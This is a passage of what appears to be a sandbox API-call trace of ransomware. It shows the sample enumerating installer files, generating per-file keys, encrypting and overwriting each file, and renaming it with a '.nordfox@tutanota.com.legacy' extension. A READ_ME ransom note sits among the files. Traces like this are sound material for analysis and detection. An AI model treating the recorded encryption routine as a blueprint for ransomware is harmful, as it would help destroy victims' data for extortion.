lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1198c [0100.514] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0100.514] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0100.516] WriteFile (in: hFile=0x4a8, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0100.516] WriteFile (in: hFile=0x4a8, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0100.516] CloseHandle (hObject=0x4a8) returned 1 [0100.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0100.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0100.520] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1037\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0100.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0100.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0100.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0100.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0100.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0100.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0100.522] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0100.522] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d110 | out: pbBuffer=0x54d110) returned 1 [0100.522] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1037\\eula.rtf", dwFileAttributes=0x80) returned 1 [0100.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0100.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0100.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0100.523] CreateFileW (lpFileName="\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a8 [0100.523] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6851) returned 1 [0100.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ac3) returned 0x5a0f80 [0100.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ac3) returned 0x5a2a50 [0100.523] ReadFile (in: hFile=0x4a8, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x1ac3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x1ac3, lpOverlapped=0x0) returned 1 [0100.562] SetFilePointer (in: hFile=0x4a8, lDistanceToMove=-6851, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0100.563] WriteFile (in: hFile=0x4a8, lpBuffer=0x5a2a50*, nNumberOfBytesToWrite=0x1ac3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a2a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1ac3, lpOverlapped=0x0) returned 1 [0100.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0100.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a2a50 | out: hHeap=0x520000) returned 1 [0100.563] SetFilePointer (in: hFile=0x4a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1ac3 [0100.563] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0100.563] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0100.563] WriteFile (in: hFile=0x4a8, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0100.563] WriteFile (in: hFile=0x4a8, lpBuffer=0x54d110*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0100.564] CloseHandle (hObject=0x4a8) returned 1 [0100.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0100.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0100.568] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1037\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0100.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0100.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0100.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0100.570] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0100.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0100.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0100.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0100.571] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8ccb2c9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0968 [0100.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0100.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0100.571] GetLastError () returned 0x0 [0100.571] SetLastError (dwErrCode=0x0) [0100.571] GetLastError () returned 0x0 [0100.571] SetLastError (dwErrCode=0x0) [0100.571] GetLastError () returned 0x0 [0100.571] SetLastError (dwErrCode=0x0) [0100.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0100.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d920 [0100.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0100.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0100.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0d68 [0100.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0d68 | out: hHeap=0x520000) returned 1 [0100.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0100.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0100.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0100.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0100.571] FindNextFileW (in: hFindFile=0x5a0968, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8ccb2c9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0100.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0100.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0100.572] GetLastError () returned 0x0 [0100.572] SetLastError (dwErrCode=0x0) [0100.572] GetLastError () returned 0x0 [0100.572] SetLastError (dwErrCode=0x0) [0100.572] GetLastError () returned 0x0 [0100.572] SetLastError (dwErrCode=0x0) [0100.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d98 [0100.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0100.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0100.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0e68 [0100.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0e68 | out: hHeap=0x520000) returned 1 [0100.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20318 [0100.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20318 | out: hHeap=0x520000) returned 1 [0100.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d98 | out: hHeap=0x520000) returned 1 [0100.572] FindNextFileW (in: hFindFile=0x5a0968, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0100.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0100.572] GetLastError () returned 0x0 [0100.572] SetLastError (dwErrCode=0x0) [0100.572] GetLastError () returned 0x0 [0100.572] SetLastError (dwErrCode=0x0) [0100.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0100.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0100.572] GetLastError () returned 0x0 [0100.572] SetLastError (dwErrCode=0x0) [0100.573] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.573] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0100.573] FindNextFileW (in: hFindFile=0x5a0968, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0100.573] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0100.573] GetLastError () returned 0x0 [0100.573] SetLastError (dwErrCode=0x0) [0100.573] GetLastError () returned 0x0 [0100.573] SetLastError (dwErrCode=0x0) [0100.573] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0100.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0100.573] GetLastError () returned 0x0 [0100.573] SetLastError (dwErrCode=0x0) [0100.573] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0100.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0100.573] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0100.573] FindNextFileW (in: hFindFile=0x5a0968, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ca5254, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8ca5254, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8ccb2c9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0100.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0100.573] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0100.573] GetLastError () returned 0x0 [0100.573] SetLastError (dwErrCode=0x0) [0100.573] GetLastError () returned 0x0 [0100.573] SetLastError (dwErrCode=0x0) [0100.573] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0100.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0100.573] GetLastError () returned 0x0 [0100.573] SetLastError (dwErrCode=0x0) [0100.573] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.574] FindNextFileW (in: hFindFile=0x5a0968, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0100.574] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0100.574] GetLastError () returned 0x0 [0100.574] SetLastError (dwErrCode=0x0) [0100.574] GetLastError () returned 0x0 [0100.574] SetLastError (dwErrCode=0x0) [0100.574] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0100.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0100.574] GetLastError () returned 0x0 [0100.574] SetLastError (dwErrCode=0x0) [0100.574] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e40 [0100.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e40 | out: hHeap=0x520000) returned 1 [0100.574] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0100.574] FindNextFileW (in: hFindFile=0x5a0968, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.574] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0100.574] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0100.574] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0100.574] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0100.574] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d250 | out: pbBuffer=0x54d250) returned 1 [0100.574] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1038\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0100.575] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0100.575] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0100.575] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0100.575] CreateFileW (lpFileName="\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac [0100.576] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18776) returned 1 [0100.576] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4958) returned 0x5a0f80 [0100.576] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4958) returned 0x5a58e0 [0100.576] ReadFile (in: hFile=0x4ac, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x4958, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x4958, lpOverlapped=0x0) returned 1 [0100.620] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=-18776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0100.620] WriteFile (in: hFile=0x4ac, lpBuffer=0x5a58e0*, nNumberOfBytesToWrite=0x4958, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a58e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4958, lpOverlapped=0x0) returned 1 [0100.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0100.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a58e0 | out: hHeap=0x520000) returned 1 [0100.621] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4958 [0100.621] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0100.621] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0100.622] WriteFile (in: hFile=0x4ac, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0100.623] WriteFile (in: hFile=0x4ac, lpBuffer=0x54d250*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0100.623] CloseHandle (hObject=0x4ac) returned 1 [0100.624] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0100.624] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0100.624] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1038\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0100.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0100.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0100.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0100.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0100.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0100.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0100.645] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0100.645] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0100.645] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1038\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0100.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0100.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0100.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0100.646] CreateFileW (lpFileName="\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac [0100.646] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=86442) returned 1 [0100.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x151aa) returned 0x5a0f80 [0100.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x151aa) returned 0x5b6138 [0100.646] ReadFile (in: hFile=0x4ac, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x151aa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x151aa, lpOverlapped=0x0) returned 1 [0101.151] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=-86442, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0101.151] WriteFile (in: hFile=0x4ac, lpBuffer=0x5b6138*, nNumberOfBytesToWrite=0x151aa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b6138*, lpNumberOfBytesWritten=0x2e1f9bc*=0x151aa, lpOverlapped=0x0) returned 1 [0101.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0101.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b6138 | out: hHeap=0x520000) returned 1 [0101.154] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x151aa [0101.154] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0101.154] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0101.156] WriteFile (in: hFile=0x4ac, lpBuffer=0x584250*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0101.156] WriteFile (in: hFile=0x4ac, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, 